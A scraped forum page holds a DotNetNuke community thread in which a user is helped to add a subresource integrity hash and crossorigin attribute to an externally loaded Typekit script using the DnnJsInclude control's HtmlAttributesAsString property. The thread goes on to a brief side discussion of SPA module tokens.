    /    _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △  | '_  / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ | | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   __| |_|__, |__,_|_|__,_|_|       ____|_____|___|
                |___/


Angular CLI: 14.0.1
Node: 16.15.0
Package Manager: yarn 1.22.18
OS: linux x64

Angular: 14.0.1
... animations, cdk, cli, common, compiler, compiler-cli, core
... forms, language-service, material, platform-browser
... platform-browser-dynamic, pwa, router, service-worker

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1400.1
@angular-devkit/build-angular   14.0.1
@angular-devkit/core            14.0.1
@angular-devkit/schematics      14.0.1
@schematics/angular             14.0.1
rxjs                            7.5.5
typescript                      4.7.3

Not sure if it’s relevant, but

webpack-subresource-integrity «5.1.0»

You are not authorized to post a reply.

Posts:8
New Around Here

I am using DontnetNuke 7.4, Visual Studio 2013 and .net framework 4.0

I am referencing typekit.js in dnnjsinclude.

<dnn:dnnjsinclude filepath=»https://use.typekit.net/xie1khe.js» id=»someID» runat=»server»>

After a PCI scan, we are having a script src integrity check issue. I checked online and saw adding an integrity property with value as a key generated using https://www.srihash.org/ . However I think the integrity property here isn’t recognized and all the interface gets messed up. Is there any way to set it ? Kindly let me know if my question is not clear. Thank you for your time in advance.

Thanks

0

Posts:129
Advanced Member

There is, in fact, a little known method for adding attributes to these script tags.  The DnnJsInclude control has a HtmlAttributesAsString property which can be used to add attributes.  In your example, that would look like this:


<%@ Register TagPrefix="dnn" Namespace="DotNetNuke.Web.Client.ClientResourceManagement" Assembly="DotNetNuke.Web.Client" %>

<dnn:DnnJsInclude runat="server" FilePath="https://use.typekit.net/xie1khe.js" HtmlAttributesAsString="integrity:sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln,crossorigin:anonymous" />

At one point I had found that setting multiple attributes this was wasn’t working, and there was a fix in DNN 9.2 which addressed that; however, testing just now, this did work on my DNN 7.4.2 site, so hopefully this works for you. One caveat is that you do need to use the DnnJsInclude class from DotNetNuke.Web.Client.ClientResourceManagement (see the <%@ Register … %> directive above), rather than the skin/theme object by the same name.

DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase

4

Posts:8
New Around Here

Hi Brian,

Thank you so much for your reply. I had tried adding the HtmlAttributesAsString in my website before. So my complete code was something as follows :

<%@ Register TagPrefix=»dnn» Namespace=»DotNetNuke.Web.Client.ClientResourceManagement» Assembly=»DotNetNuke.Web.Client» %>    (at the top of the page)

then 

<dnn:dnnjsinclude filepath=»https://use.typekit.net/xie1khe.js» htmlattributesasstring=»crossorigin:’anonymous’,integrity:’sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln'» id=»SomeID» runat=»server»>

But when I right click and inspect element and check the console, it gives me the following error :

Error parsing ‘integrity’ attribute (»sha384-cVzjI50ULMD2q5gObcDlRz+PX+kfeUHv+/Wv4WSV5DDVwYC2fOWGbkdUeaAFgcln»). The specified hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’ .

Am I doing something wrong ? Is there any way to test if the added integrity constraint is working correctly ?

KIndly let me know if I am not clear.

Thanks !

0

Posts:129
Advanced Member

It looks like the newer versions allow you to wrap the attribute values in single quotes, but the version in DNN 7.4.2 does not. If you remove the single quotes it should work.

DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase

2

Posts:8
New Around Here

It worked !!! :)   

Thank you very much for helping me

0

Posts:84
Growing Member

Hmm, interesting, I did not know about this. Is that supported as a SPA token too ?

0

Posts:129
Advanced Member

Nope, the SPA token only supports six properties https://github.com/dnnsoftware/Dnn.Platform/blob/83ee0001477f570e65b3883300199a81288769b8/DNN%20Platform/Library/Services/Tokens/PropertyAccess/JavaScriptPropertyAccess.cs

DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase

1

Posts:84
Growing Member

Thanks for the link, I was wondering what code the tokens fired :)

0

Posts:84
Growing Member

Am I correct in assuming a module could extend this to use custom tokens by implementing IPropertyAccess or something like that ?

0

Posts:129
Advanced Member

SPA modules have an extension mechanism, but typically the TokenReplace type will have a hard-coded list of IPropertyAccess implementations, see e.g. HtmlTokenReplace (which is the base class for the SPA module token replace, but also used for the HTML module).

For a SPA module, the module’s business controller class can implement ICustomTokenProvider (here’s where that’s found and called).

DNN partner specializing in custom, enterprise DNN development https://engagesoftware.com/showcase

0


These Forums are dedicated to discussion of DNN Platform.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. If you have (suspected) security issues, please do not post them in the forums but send an email to [email protected]
  2. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  3. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  4. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  5. No Flaming or Trolling.
  6. No Profanity, Racism, or Prejudice.
  7. Site Moderators have the final word on approving / removing a thread or post or comment.
  8. English language posting only, please.

Recommend Projects

  • React photo

    React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo

    Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo

    Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo

    TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo

    Django

    The Web framework for perfectionists with deadlines.

  • Laravel photo

    Laravel

    A PHP framework for web artisans

  • D3 photo

    D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Visualization

    Some thing interesting about visualization, use data art

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo

    Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo

    Microsoft

    Open source projects and samples from Microsoft.

  • Google photo

    Google

    Google ❤️ Open Source for everyone.

  • Alibaba photo

    Alibaba

    Alibaba Open Source for everyone

  • D3 photo

    D3

    Data-Driven Documents codes.

  • Tencent photo

    Tencent

    China tencent open source team.

Понравилась статья? Поделить с друзьями:
  • Error parsing http request header java io eofexception null
  • Error parsing http 413 response body invalid character
  • Error parsing http 403 response body unexpected end of json input
  • Error parsing function call
  • Error parsing file arguments